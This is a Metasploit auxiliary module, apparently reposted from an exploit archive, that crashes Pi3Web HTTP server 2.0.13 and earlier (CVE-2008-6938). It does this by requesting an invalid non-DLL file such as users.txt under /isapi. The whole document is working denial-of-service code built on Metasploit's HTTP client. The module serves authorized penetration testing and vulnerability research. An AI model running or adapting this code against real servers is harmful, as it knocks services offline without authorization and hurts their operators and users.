Pi3Web ISAPI Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Pi3Web ISAPI DoS',  
'Description' => %q{  
The Pi3Web HTTP server crashes when a request is made for an invalid DLL  
file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs  
in this directory after installation are users.txt, install.daf and  
readme.daf.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2008-6938'],  
[ 'OSVDB', '49998'],  
[ 'EDB', '7109' ]  
],  
'DisclosureDate' => '2008-11-13'))  
  
register_options([  
OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ])  
])  
end  
  
def run  
begin  
o = { 'uri' => "/isapi/#{datastore['FILENAME']}" }  
  
c = connect(o)  
c.send_request(c.request_raw(o))  
  
print_status("Request sent to #{rhost}:#{rport}")  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Couldn't connect to #{rhost}:#{rport}")  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`